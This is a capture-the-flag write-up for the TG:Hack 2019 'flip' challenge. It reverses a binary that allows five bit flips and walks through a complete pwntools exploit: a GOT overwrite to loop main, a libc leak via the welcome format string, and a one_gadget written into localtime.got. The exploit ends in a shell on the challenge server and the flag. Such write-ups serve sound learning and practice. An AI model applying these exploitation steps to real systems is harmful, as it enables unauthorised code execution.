Are You Flipping Kidding Me? Author: PewZ

Can you flip your way to a shell? nc flip.tghack.no 1947

Attachment: flip xpl.py libc.so.6

Welcome! The current time is Sat Apr 20 14:27:29 2019

I'll let you flip 5 bits, but that's it!
Enter addr:bit to flip: 

The binary allows us to flip 5 bits anywhere. Obviously not enough to do something useful, so we should use this “first round” to get unlimited flips.

But first, some quick reversing of the bianry to know what we can work with

void main(void) {
  int i;
  
  puts(buf);
  printf("I\'ll let you flip 5 bits, but that\'s it!\n");
  i = 0;
  while (i < 5) {
    do_flip();
    i += 1;
  }
  printf("Thank you for flipping us off!\nHave a nice day :)\n");

  exit(0);
}

This looks a bit different, from what we would have expected, the “welcome” message is missing here, but buf gets printed.

Something seems to be initializing buf before we enter main.

void __libc_csu_init(EVP_PKEY_CTX *param_1,undefined8 param_2,undefined8 param_3)
{
  long lVar1;
  
  _init(param_1);
  lVar1 = 0;
  do {
    (*(&__frame_dummy_init_array_entry)[lVar1])(param_1 & 0xffffffff,param_2,param_3);
    lVar1 += 1;
  } while (lVar1 != 2);
  return;
}

__frame_dummy_init_array_entry contains a pointer to initialize

void initialize(void)
{
  undefined *__format;
  tm *__tp;
  char *time_str;
  long in_FS_OFFSET;
  time_t _time;

  setvbuf(stdout,NULL,2,0);
  setvbuf(stdin,NULL,2,0);
  alarm(0x28);
  _time = time(NULL);
  __tp = localtime(&_time);
  __format = welcome_str;
  
  time_str = asctime(__tp);

  snprintf(buf,0x7f,__format,time_str,0,0);
  
  return;
}

This makes more sense. initialize will initialize buf with the welcome message, which then gets printed in main.

Ok, after we flipped 5 bits, main will call exit to end the program, so exit.got would make a good target for flipping.

exit.got    0x400766  ==> 0b10000000000011101100110
main        0x400940  ==> 0b10000000000100101000000
_start      00400770  ==> 0b10000000000011101110000

To flip exit.got to main, we would need 6 bit flips, which we don’t have. But we can flip exit.got to _start (only needs 3 flips), which will also get us back into main (though executing initialize again).

#!/usr/bin/python
from pwn import *
import sys

HOST = "flip.tghack.no"
PORT = 1947

def flip(address, bit):
    r.sendlineafter("flip: ", "%s:%d" % (hex(address), bit))

def exploit(r):
    log.info("Goto infinite loop")

    flip(e.got["exit"], 1)
    flip(e.got["exit"], 2)
    flip(e.got["exit"], 4)
    flip(0x601500, 1)               # junk
    flip(0x601500, 1)               # junk

    r.interactive()
    
    return

if __name__ == "__main__":
    e = ELF("./flip")
    libc = ELF("./libc.so.6")

    if len(sys.argv) > 1:
        r = remote(HOST, PORT)
        exploit(r)
    else:
        r = process("./flip", env={"LD_PRELOAD":"./libc.so.6"})
        print util.proc.pidof(r)
        pause()
        exploit(r)
$ python xpl.py
[+] Starting local process './flip': pid 12789
[12789]
[*] Paused (press any to continue)
[*] Goto infinite loop
[*] Switching to interactive mode
Thank you for flipping us off!
Have a nice day :)
Welcome! The current time is Sat Apr 20 14:43:05 2019

I'll let you flip 5 bits, but that's it!
Enter addr:bit to flip: $  

So, we’re back in main and can still flip some more bits (since exit.got still points to _start, the binary will now loop infinitely.)

Time to get some leaks…

buf gets filled in initialize via sprintf and the format string in welcome_str. If we can point welcome_str somewhere else, we’ll control, how buf is initialized. A got entry would be handy…

welcome_str     0x400b51  ==> 0b10000000000101101010001
setvbuf.got     0x601060  ==> 0b11000000001000001100000

To flip 0x400b51 into 0x601060 we need 8 flips, but can only do 5 in one go. Thus we have to make sure, that welcome_str points to something valid after 5 flips, so initialize doesn’t crash…

log.info("Overwrite welcome string for leak")
flip(0x601082, 5)
flip(0x601081, 0)
flip(0x601081, 1)
flip(0x601081, 3)
flip(0x601081, 4)
r.recvuntil("that's it!")

welcome_str will now point to 0x601051, which doesn’t contain anything useful, but is a valid pointer, so we can continue…

flip(0x601080, 0)
flip(0x601080, 4)
flip(0x601080, 5)
flip(0x601500, 1)	# junk
flip(0x601500, 1)	# junk
	
r.recvuntil(":)\n")

SETVBUF = u64(r.recv(6).ljust(8, "\x00"))
libc.address = SETVBUF - libc.symbols["setvbuf"]

log.info("SETVBUF    : %s" % hex(SETVBUF))
log.info("LIBC       : %s" % hex(libc.address))

welcome_str now points to 0x601060, thus buf gets filled with the content of setvbuf.got, which can be leaked now and used to calculate libc base.

$ python xpl.py
[+] Starting local process './flip': pid 12887
[12887]
[*] Paused (press any to continue)
[*] Goto infinite loop
[*] Overwrite welcome string for leak
[*] SETVBUF    : 0x7ffff7a652f0
[*] LIBC       : 0x7ffff79e4000
[*] Switching to interactive mode

I'll let you flip 5 bits, but that's it!
Enter addr:bit to flip: $  

And we’re still able to flip bits. But we won’t be able to overwrite any got in one go with a useful address or gadget and every usable got entry will be called via initialize => main.

But

_start      00400770  ==> 0b10000000000011101110000
main        0x400940  ==> 0b10000000000100101000000

We can flip the _start pointer in exit to main in one go now (this needs exactly 5 bit flips). By doing this, the call to exit will then skip initialize and jump directly to main again. We can then flip a got, which is only used in initialize to something useful, and then flip exit back to _start after that. By this we have unlimited “rounds” for this.

log.info("Flip exit to main")
flip(0x601068, 4)
flip(0x601068, 5)
flip(0x601069, 1)
flip(0x601069, 2)
flip(0x601069, 3)

I overwrote localtime with a one gadget because the constraints were easy to fulfill.

Since we have a libc leak, we can calculate the current value of localtime.got and also the target value we want to store there. We then just have to flip every bit in localtime which doesn’t match the one in our one_gadget.

log.info("Overwrite time with one gadget")

ONE = libc.address + 0x10a38c
SOURCE = libc.symbols["localtime"]  

log.info("ONE        : %s" % hex(ONE))

ONEBIN = bin(ONE)[::-1]
SOURCEBIN = bin(SOURCE)[::-1]

CUROFF = 0x601018

for i in range(len(ONEBIN)):
    if ONEBIN[i] != SOURCEBIN[i]:
        flip(CUROFF + (i/8), i%8)

flip(0x601500, 1)   # junk

Now that we have one_gadget in localtime, we’ll just flip exit back again to _start, so initialize will be called again, triggering one_gadget, giving us a shell :)

log.info("Flip exit to start to trigger onegadget")
flip(0x601068, 4)
flip(0x601068, 5)
flip(0x601069, 1)
flip(0x601069, 2)
flip(0x601069, 3)

r.interactive()
$ python xpl.py 1
[*] '/media/sf_ctf/tghack/flip/flip'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/media/sf_ctf/tghack/flip/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to flip.tghack.no on port 1947: Done
[*] Goto infinite loop
[*] Overwrite welcome string for leak
[*] SETVBUF    : 0x7f86df2652f0
[*] LIBC       : 0x7f86df1e4000
[*] Flip exit to main
[*] Overwrite time with one gadget
[*] ONE        : 0x7f86df2ee38c
[*] Flip exit to start to trigger onegadget
[*] Switching to interactive mode
Thank you for flipping us off!
Have a nice day :)
$ id
uid=1000(tghack) gid=1000(tghack) groups=1000(tghack)
$ ls
flag.txt
flip
$ cat flag.txt
TG19{you_think_this_is_some_kind_of_motherflippin_joke}